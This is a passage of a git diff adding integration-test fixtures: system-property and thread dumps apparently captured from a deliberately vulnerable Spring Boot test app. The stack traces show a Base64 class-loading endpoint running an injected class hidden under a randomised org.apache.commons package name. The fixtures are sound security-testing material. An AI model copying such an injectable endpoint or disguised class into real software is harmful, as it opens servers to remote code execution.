java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Catalina-utility-1" #19 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@223cf48f + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@17.0.17/java.lang.ref.Reference.processPendingReferences(Reference.java:253) + at java.base@17.0.17/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215) + +"http-nio-8080-Poller" #32 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.17/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:912) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-9" #30 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-5" #26 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/java.lang.Thread.dumpThreads(Native Method) + at java.base@17.0.17/java.lang.Thread.getAllStackTraces(Thread.java:1671) + at org.apache.commons.XRksM.ErrorGfecaHandler.toString(BasicInfoPrinter.java:26) + at com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController.base64ClassLoader(Base64ClassLoaderController.java:22) + at java.base@17.0.17/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base@17.0.17/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) + at java.base@17.0.17/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base@17.0.17/java.lang.reflect.Method.invoke(Method.java:569) + at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:252) + at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:184) + at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:934) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:853) + at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:86) + at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:963) + at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:866) + at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1000) + at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:903) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:649) + at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:874) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:710) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:132) + at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:59) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) + at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) + at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) + at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:199) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:165) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:77) + at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:535) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:115) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:86) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:71) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:347) + at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:406) + at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:71) + at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:1307) + at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:2036) + at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:74) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:949) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Catalina-utility-2" #20 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@223cf48f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8080-Acceptor" #33 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/sun.nio.ch.Net.accept(Native Method) + at java.base@17.0.17/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425) + at java.base@17.0.17/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:626) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:71) + at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:145) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Cleaner-0" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@6a74e428 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.17/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"DestroyJavaVM" #34 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"container-0" #21 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.StandardServer.await(StandardServer.java:522) + at org.springframework.boot.tomcat.TomcatWebServer$1.run(TomcatWebServer.java:216) + +"http-nio-8080-exec-7" #28 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@4e42fb29 + java.lang.Thread.State: WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@17.0.17/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172) + +"http-nio-8080-exec-4" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d0784f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:132) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:32) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:889) + at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:936) + at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:483) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:74) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + + +=========================================== + +StackClassNames: +com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController +jakarta.servlet.http.HttpServlet +org.apache.catalina.authenticator.AuthenticatorBase +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardServer +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.valves.ErrorReportValve +org.apache.commons.XRksM.ErrorGfecaHandler +org.apache.coyote.AbstractProcessorLight +org.apache.coyote.AbstractProtocol$ConnectionHandler +org.apache.coyote.http11.Http11Processor +org.apache.tomcat.util.net.Acceptor +org.apache.tomcat.util.net.NioEndpoint +org.apache.tomcat.util.net.NioEndpoint$Poller +org.apache.tomcat.util.net.NioEndpoint$SocketProcessor +org.apache.tomcat.util.net.SocketProcessorBase +org.apache.tomcat.util.threads.TaskQueue +org.apache.tomcat.util.threads.TaskThread$WrappingRunnable +org.apache.tomcat.util.threads.ThreadPoolExecutor +org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker +org.apache.tomcat.websocket.server.WsFilter +org.springframework.boot.tomcat.TomcatWebServer$1 +org.springframework.web.filter.CharacterEncodingFilter +org.springframework.web.filter.FormContentFilter +org.springframework.web.filter.OncePerRequestFilter +org.springframework.web.filter.RequestContextFilter +org.springframework.web.method.support.InvocableHandlerMethod +org.springframework.web.servlet.DispatcherServlet +org.springframework.web.servlet.FrameworkServlet +org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter +org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter +org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod diff --git a/integration-test/src/test/resources/infos/SpringBoot4WebFluxContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/SpringBoot4WebFluxContainerTestBasicInfo.txt new file mode 100644 index 00000000..db363b78 --- /dev/null +++ b/integration-test/src/test/resources/infos/SpringBoot4WebFluxContainerTestBasicInfo.txt @@ -0,0 +1,279 @@ +# Generated At 2026-08-21 07:15:00 +SystemProps: +java.specification.version: 17 +sun.jnu.encoding: UTF-8 +java.class.path: /app/app.jar +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +user.timezone: Etc/UTC +java.vm.specification.version: 17 +os.name: Linux +APPLICATION_NAME: vul-springboot4 +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: /app/app.jar +jdk.debug: release +sun.cpu.endian: little +user.home: /root +user.language: en +java.specification.vendor: Oracle Corporation +java.version.date: 2025-10-21 +java.home: /opt/java/openjdk +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +FILE_LOG_CHARSET: UTF-8 +java.awt.headless: true +java.protocol.handler.pkgs: org.springframework.boot.loader.net.protocol +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 17.0.17+10 +user.name: root +path.separator: : +os.version: 7.0.14-orbstack-00380-ga7e0a2dc9535 +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-17.0.17+10 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +java.io.tmpdir: /tmp +java.version: 17.0.17 +user.dir: / +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +PID: 1 +CONSOLE_LOG_CHARSET: UTF-8 +native.encoding: UTF-8 +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +java.vm.info: mixed mode, sharing +java.vendor: Eclipse Adoptium +java.vm.version: 17.0.17+10 +java.specification.maintenance.version: 1 +sun.io.unicode.encoding: UnicodeLittle +java.class.version: 61.0 +LOGGED_APPLICATION_NAME: [vul-springboot4] + +=========================================== + +ThreadStacks: +"Notification Thread" #12 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"reactor-http-nio-2" #22 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.17/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62) + at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668) + at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434) + at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225) + at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196) + at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Cleaner-0" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@636af96d + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.17/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"server" #21 [WAITING] on java.util.concurrent.CountDownLatch$Sync@34173b14 + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:211) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer.acquire(AbstractQueuedSynchronizer.java:715) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1047) + at java.base@17.0.17/java.util.concurrent.CountDownLatch.await(CountDownLatch.java:230) + at reactor.core.publisher.BlockingSingleSubscriber.blockingGet(BlockingSingleSubscriber.java:91) + at reactor.core.publisher.Mono.block(Mono.java:1773) + at org.springframework.boot.reactor.netty.NettyWebServer$1.run(NettyWebServer.java:231) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@1ac9929 + java.lang.Thread.State: WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@17.0.17/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172) + +"DestroyJavaVM" #23 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"reactor-http-nio-5" #26 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/java.lang.Thread.dumpThreads(Native Method) + at java.base@17.0.17/java.lang.Thread.getAllStackTraces(Thread.java:1671) + at org.apache.commons.XZlyH.ErrorUnpvzHandler.toString(BasicInfoPrinter.java:26) + at com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController.lambda$handleFormSubmission$0(Base64ClassLoaderController.java:32) + at com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController$$Lambda$1035/0x0000008801469f58.apply(Unknown Source) + at reactor.core.publisher.MonoFlatMap$FlatMapMain.onNext(MonoFlatMap.java:132) + at reactor.core.publisher.Operators$MonoSubscriber.complete(Operators.java:1861) + at reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber.signalCached(MonoCacheTime.java:353) + at reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber.onNext(MonoCacheTime.java:372) + at reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber.onNext(FluxSwitchIfEmpty.java:75) + at reactor.core.publisher.FluxMapFuseable$MapFuseableSubscriber.onNext(FluxMapFuseable.java:130) + at reactor.core.publisher.FluxContextWrite$ContextWriteSubscriber.onNext(FluxContextWrite.java:109) + at reactor.core.publisher.FluxMapFuseable$MapFuseableConditionalSubscriber.onNext(FluxMapFuseable.java:300) + at reactor.core.publisher.FluxFilterFuseable$FilterFuseableConditionalSubscriber.onNext(FluxFilterFuseable.java:338) + at reactor.core.publisher.Operators$BaseFluxToMonoOperator.completePossiblyEmpty(Operators.java:2093) + at reactor.core.publisher.MonoCollect$CollectSubscriber.onComplete(MonoCollect.java:144) + at reactor.core.publisher.FluxMap$MapSubscriber.onComplete(FluxMap.java:144) + at reactor.core.publisher.FluxPeek$PeekSubscriber.onComplete(FluxPeek.java:263) + at reactor.core.publisher.FluxMap$MapSubscriber.onComplete(FluxMap.java:144) + at reactor.netty.channel.FluxReceive.onInboundComplete(FluxReceive.java:419) + at reactor.netty.channel.ChannelOperations.onInboundComplete(ChannelOperations.java:467) + at reactor.netty.http.server.HttpServerOperations.handleLastHttpContent(HttpServerOperations.java:931) + at reactor.netty.http.server.HttpServerOperations.onInboundNext(HttpServerOperations.java:840) + at reactor.netty.channel.ChannelOperationsHandler.channelRead(ChannelOperationsHandler.java:115) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:357) + at reactor.netty.http.server.HttpTrafficHandler.channelRead(HttpTrafficHandler.java:340) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:355) + at io.netty.channel.CombinedChannelDuplexHandler$DelegatingChannelHandlerContext.fireChannelRead(CombinedChannelDuplexHandler.java:434) + at io.netty.handler.codec.ByteToMessageDecoder.fireChannelRead(ByteToMessageDecoder.java:361) + at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:325) + at io.netty.channel.CombinedChannelDuplexHandler.channelRead(CombinedChannelDuplexHandler.java:249) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:355) + at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1429) + at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:918) + at io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe.read(AbstractNioByteChannel.java:176) + at io.netty.channel.nio.AbstractNioChannel$AbstractNioUnsafe.handle(AbstractNioChannel.java:445) + at io.netty.channel.nio.NioIoHandler$DefaultNioRegistration.handle(NioIoHandler.java:388) + at io.netty.channel.nio.NioIoHandler.processSelectedKey(NioIoHandler.java:596) + at io.netty.channel.nio.NioIoHandler.processSelectedKeysOptimized(NioIoHandler.java:571) + at io.netty.channel.nio.NioIoHandler.processSelectedKeys(NioIoHandler.java:512) + at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:484) + at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225) + at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196) + at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@17.0.17/java.lang.ref.Reference.processPendingReferences(Reference.java:253) + at java.base@17.0.17/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"reactor-http-nio-4" #25 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.17/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62) + at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668) + at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434) + at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225) + at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196) + at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"reactor-http-nio-3" #24 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.17/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62) + at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668) + at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434) + at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225) + at 